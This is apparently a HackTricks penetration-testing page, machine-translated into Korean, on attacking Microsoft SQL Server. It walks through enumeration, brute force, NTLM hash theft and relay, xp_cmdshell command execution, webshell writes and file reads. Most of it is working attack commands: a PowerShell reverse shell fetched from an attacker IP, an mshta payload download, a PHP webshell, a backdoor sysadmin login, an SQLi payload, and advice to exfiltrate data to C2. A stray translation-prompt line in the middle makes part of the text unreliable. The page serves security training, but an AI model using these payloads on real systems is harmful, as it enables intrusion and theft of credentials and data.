1433 - Pentesting MSSQL - Microsoft SQL Server

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

์ถœ์ฒ˜: wikipedia:

Microsoft SQL Server์€ Microsoft์—์„œ ๊ฐœ๋ฐœํ•œ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์„œ๋ฒ„๋กœ์„œ, ์ด๋Š” ๋‹ค๋ฅธ ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์š”์ฒญํ•˜๋Š” ๋Œ€๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ณ  ๊ฒ€์ƒ‰ํ•˜๋Š” ๊ฒƒ์„ ์ฃผ์š” ๊ธฐ๋Šฅ์œผ๋กœ ํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ์ œํ’ˆ์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋™์ผํ•œ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ ๋„คํŠธ์›Œํฌ(์ธํ„ฐ๋„ท ํฌํ•จ)๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Managed Database-as-a-Service (DBaaS)์— ์ ‘๊ทผํ•˜๊ธฐ

DBaaS ํ™˜๊ฒฝ์—์„œ๋Š” โ€œowning the hostโ€(์˜ˆ: privilege escalation, lateral movement, OS command execution)์— ์˜์กดํ•˜๋Š” ๋ชจ๋“  ๊ฒƒ์ด ๋” ์ด์ƒ ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ™˜๊ฒฝ์—์„œ Pentesting์€ application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles ๋˜๋Š” ๋ถ€์ ์ ˆํ•œ network/VPC ์„ค๊ณ„๋กœ ์ดˆ์ ์„ ์ „ํ™˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Amazon RDS documentation์€ xp_cmdshell๊ณผ TRUSTWORTHY ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์†์„ฑ์ด ์ง€์›๋˜์ง€ ์•Š๋Š”๋‹ค๊ณ  ๋ช…์‹œํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐ›๊ฒŒ ๋˜๋ฉฐ, ์„œ๋ฒ„ ์ž์ฒด๋ฅผ ๋ฐ›๋Š” ๊ฒƒ์ด ์•„๋‹™๋‹ˆ๋‹ค. ํด๋ผ์šฐ๋“œ ์ œ๊ณต์ž๊ฐ€ ํ˜ธ์ŠคํŠธ OS, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—”์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ฐ ๋งŽ์€ ๋ณด์•ˆ ์ •์ฑ…์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ MS-SQL ์‹œ์Šคํ…œ ํ…Œ์ด๋ธ”

  • master Database: ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” SQL Server ์ธ์Šคํ„ด์Šค์˜ ๋ชจ๋“  ์‹œ์Šคํ…œ ์ˆ˜์ค€ ์ •๋ณด๋ฅผ ์บก์ฒ˜ํ•˜๋ฏ€๋กœ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.
  • msdb Database: SQL Server Agent๋Š” ๊ฒฝ๊ณ  ๋ฐ ์ž‘์—…์˜ ์Šค์ผ€์ค„๋ง์„ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • model Database: SQL Server ์ธ์Šคํ„ด์Šค์˜ ๋ชจ๋“  ์ƒˆ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ์ฒญ์‚ฌ์ง„ ์—ญํ• ์„ ํ•˜๋ฉฐ, ํฌ๊ธฐ(size), collation, recovery model ๋“ฑ๊ณผ ๊ฐ™์€ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์ด ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค.
  • Resource Database: SQL Server์— ํฌํ•จ๋œ ์‹œ์Šคํ…œ ๊ฐ์ฒด๋ฅผ ๋ณด๊ด€ํ•˜๋Š” ์ฝ๊ธฐ ์ „์šฉ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ์ฒด๋“ค์€ ๋ฌผ๋ฆฌ์ ์œผ๋กœ Resource ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ๋˜์ง€๋งŒ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ sys ์Šคํ‚ค๋งˆ์— ๋…ผ๋ฆฌ์ ์œผ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.
  • tempdb Database: ์ผ์‹œ์ ์ธ ๊ฐ์ฒด๋‚˜ ์ค‘๊ฐ„ ๊ฒฐ๊ณผ ์ง‘ํ•ฉ์„ ์œ„ํ•œ ์ž„์‹œ ์ €์žฅ ์˜์—ญ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์—ด๊ฑฐ

์ž๋™ ์—ด๊ฑฐ

If you donโ€™t know anything about the service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

๋งŒ์•ฝ donโ€™t have credentials๋ผ๋ฉด ์ถ”์ธกํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. nmap ๋˜๋Š” metasploit์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์˜: ๊ธฐ์กด username์œผ๋กœ ์—ฌ๋Ÿฌ ๋ฒˆ login์— ์‹คํŒจํ•˜๋ฉด block accounts๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

RID Brute Force๋ฅผ ์ด์šฉํ•œ ์‚ฌ์šฉ์ž ์—ด๊ฑฐ

MSSQL์—์„œ RIDs (Relative Identifiers)์„ brute-forcingํ•˜์—ฌ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ ์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช…์€ ์žˆ์ง€๋งŒ ๊ถŒํ•œ์ด ์ œํ•œ๋œ ๊ฒฝ์šฐ์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

I donโ€™t have the file contents. Please paste the contents of src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md that you want translated to Korean.

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

๋งค๊ฐœ๋ณ€์ˆ˜:

  • --local-auth: ๋„๋ฉ”์ธ ๋Œ€์‹  ๋กœ์ปฌ ์ธ์ฆ ์‚ฌ์šฉ
  • --rid-brute <max_rid>: ์ง€์ •ํ•œ ์ˆซ์ž๊นŒ์ง€ RIDs๋ฅผ Brute force (๊ธฐ๋ณธ๊ฐ’: 4000)
  • -u: ์‚ฌ์šฉ์ž ์ด๋ฆ„
  • -p: ๋น„๋ฐ€๋ฒˆํ˜ธ

์ด ๊ธฐ๋ฒ•์€ MSSQL ์„œ๋ฒ„์—์„œ ์ˆœ์ฐจ์ ์ธ RIDs์™€ ์—ฐ๊ด€๋œ ๊ณ„์ • ์ •๋ณด๋ฅผ ์ฟผ๋ฆฌํ•˜์—ฌ ์‚ฌ์šฉ์ž๋ฅผ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

์ˆ˜๋™ ์—ด๊ฑฐ

๋กœ๊ทธ์ธ

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

๊ณตํ†ต ์—ด๊ฑฐ

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

์‚ฌ์šฉ์ž ์กฐํšŒ

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

๊ถŒํ•œ ํš๋“

  1. Securable: SQL Server์—์„œ ์ ‘๊ทผ ์ œ์–ด๋ฅผ ์œ„ํ•ด ๊ด€๋ฆฌํ•˜๋Š” ์ž์›์œผ๋กœ ์ •์˜๋œ๋‹ค. ์ด๋Ÿฌํ•œ ์ž์›์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ถ„๋ฅ˜๋œ๋‹ค:
  • Server โ€“ ์˜ˆ: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค(databases), ๋กœ๊ทธ์ธ(logins), ์—”๋“œํฌ์ธํŠธ(endpoints), ๊ฐ€์šฉ์„ฑ ๊ทธ๋ฃน(availability groups), ์„œ๋ฒ„ ์—ญํ• (server roles).
  • Database โ€“ ์˜ˆ: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—ญํ• (database roles), ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์—ญํ• (application roles), ์Šคํ‚ค๋งˆ(schemas), ์ธ์ฆ์„œ(certificates), ์ „์ฒด ํ…์ŠคํŠธ ์นดํƒˆ๋กœ๊ทธ(full text catalogs), ์‚ฌ์šฉ์ž(users).
  • Schema โ€“ ํ…Œ์ด๋ธ”(tables), ๋ทฐ(views), ํ”„๋กœ์‹œ์ €(procedures), ํ•จ์ˆ˜(functions), ๋™์˜์–ด(synonyms) ๋“ฑ.
  1. Permission: SQL Server์˜ securable๊ณผ ์—ฐ๊ด€๋œ ๊ฒƒ์œผ๋กœ, ALTER, CONTROL, CREATE ๊ฐ™์€ ๊ถŒํ•œ์ด principal์—๊ฒŒ ๋ถ€์—ฌ๋  ์ˆ˜ ์žˆ๋‹ค. ๊ถŒํ•œ ๊ด€๋ฆฌ๋Š” ๋‘ ์ˆ˜์ค€์—์„œ ์ด๋ฃจ์–ด์ง„๋‹ค:
  • ์„œ๋ฒ„ ์ˆ˜์ค€(Server Level) โ€“ ๋กœ๊ทธ์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ด€๋ฆฌ
  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ˆ˜์ค€(Database Level) โ€“ ์‚ฌ์šฉ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ด€๋ฆฌ
  1. Principal: securable์— ๊ถŒํ•œ์„ ๋ถ€์—ฌ๋ฐ›๋Š” ์ฃผ์ฒด๋ฅผ ์˜๋ฏธํ•œ๋‹ค. Principal์€ ์ฃผ๋กœ ๋กœ๊ทธ์ธ๊ณผ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‚ฌ์šฉ์ž๋กœ ๊ตฌ์„ฑ๋œ๋‹ค. securable์— ๋Œ€ํ•œ ์ ‘๊ทผ ์ œ์–ด๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•จ์œผ๋กœ์จ, ๋˜๋Š” ๋กœ๊ทธ์ธ๊ณผ ์‚ฌ์šฉ์ž๋ฅผ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ์—ญํ• (roles)์— ํฌํ•จ์‹œํ‚ด์œผ๋กœ์จ ์ด๋ฃจ์–ด์ง„๋‹ค.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

ํŒ

OS ๋ช…๋ น ์‹คํ–‰

Caution

๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด **xp_cmdshell**์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•  ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, EXECUTE permission on the xp_cmdshell stored procedure๋„ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. sysadmins๋ฅผ ์ œ์™ธํ•˜๊ณ  ๋ˆ„๊ฐ€ **xp_cmdshell**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด:

Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' โ€”

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-based remote SQL collection (sqlcmd + CSV export)

์šด์˜์ž๋Š” IIS/app tier์—์„œ WMI๋ฅผ ์ด์šฉํ•ด ์ž‘์€ ๋ฐฐ์น˜ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜์—ฌ MSSQL์— ์ธ์ฆํ•˜๊ณ  adโ€‘hoc ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•ด ๊ฒฐ๊ณผ๋ฅผ CSV๋กœ ๋‚ด๋ณด๋‚ด๋ฉฐ SQL Servers๋กœ pivotํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๋ฐฉ์‹์€ ์ˆ˜์ง‘์„ ๊ฐ„๋‹จํ•˜๊ฒŒ ์œ ์ง€ํ•˜๊ณ  ๊ด€๋ฆฌ์ž ํ™œ๋™๊ณผ ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ ์„ž์ธ๋‹ค.

Example mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

WMI๋กœ ์›๊ฒฉ์—์„œ ์‹คํ–‰ํ•˜๊ธฐ

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

PowerShell ๋Œ€์•ˆ

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

์ฐธ๊ณ 

  • sqlcmd๊ฐ€ ์—†์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ osql, PowerShell Invoke-Sqlcmd ๋˜๋Š” System.Data.SqlClient๋ฅผ ์‚ฌ์šฉํ•˜๋Š” oneโ€‘liner๋กœ ๋Œ€์ฒดํ•˜์„ธ์š”.
  • ๋”ฐ์˜ดํ‘œ ์ฒ˜๋ฆฌ๋ฅผ ์ฃผ์˜ํ•˜์„ธ์š”; ๊ธธ๊ฑฐ๋‚˜ ๋ณต์žกํ•œ ์ฟผ๋ฆฌ๋Š” ํŒŒ์ผ๋กœ ์ œ๊ณตํ•˜๊ฑฐ๋‚˜ batch/PowerShell ์Šคํ… ๋‚ด๋ถ€์—์„œ ๋””์ฝ”๋“œ๋˜๋Š” Base64โ€‘encoded ์ธ์ˆ˜๋กœ ์ „๋‹ฌํ•˜๋Š” ๊ฒƒ์ด ๋” ์‰ฝ์Šต๋‹ˆ๋‹ค.
  • CSV๋ฅผ SMB๋ฅผ ํ†ตํ•ด Exfilํ•˜์„ธ์š”(์˜ˆ: \SQLHOST\C$\Windows\Temp์—์„œ copy) ๋˜๋Š” ์••์ถ•ํ•ด์„œ C2๋กœ ์ด๋™ํ•˜์„ธ์š”.

ํ•ด์‹œ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฐ€์ ธ์˜ค๊ธฐ

SELECT * FROM master.sys.syslogins;

NetNTLM hash ํƒˆ์ทจ / Relay attack

์ธ์ฆ(authentication)์— ์‚ฌ์šฉ๋œ hash๋ฅผ ์บก์ฒ˜ํ•˜๋ ค๋ฉด SMB server๋ฅผ ์‹œ์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: impacket-smbserver ๋˜๋Š” responder).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

sysadmins๋ฅผ ์ œ์™ธํ•˜๊ณ  ๋ˆ„๊ฐ€ ํ•ด๋‹น MSSQL ํ•จ์ˆ˜๋“ค์„ ์‹คํ–‰ํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Using tools such as responder or Inveigh itโ€™s possible to NetNTLM ํ•ด์‹œ๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๋„๊ตฌ๋“ค์˜ ์‚ฌ์šฉ๋ฒ•์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Read this post ์ด ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

MSSQL AD Abuse

ํŒŒ์ผ ์“ฐ๊ธฐ

MSSQL์„ ์‚ฌ์šฉํ•ด ํŒŒ์ผ์„ ์“ฐ๋ ค๋ฉด ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ, Ole Automation Procedures๋ฅผ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•˜๊ณ , ์ดํ›„ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ๋ช‡๋ช‡ ์ €์žฅ ํ”„๋กœ์‹œ์ €๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

OPENROWSET๋กœ ํŒŒ์ผ ์ฝ๊ธฐ

๊ธฐ๋ณธ์ ์œผ๋กœ MSSQL์€ ๊ณ„์ •์ด ์ฝ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์šด์˜์ฒด์ œ์˜ ๋ชจ๋“  ํŒŒ์ผ์— ๋Œ€ํ•ด ํŒŒ์ผ ์ฝ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ SQL ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

๊ทธ๋Ÿฌ๋‚˜ BULK ์˜ต์…˜์€ ADMINISTER BULK OPERATIONS ๋˜๋Š” ADMINISTER DATABASE BULK OPERATIONS ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

SQLi๋ฅผ ์œ„ํ•œ ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ ๋ฒกํ„ฐ:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/ํŒŒ์ผ ์ฝ๊ธฐ ๋ฐ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ (Python and R)

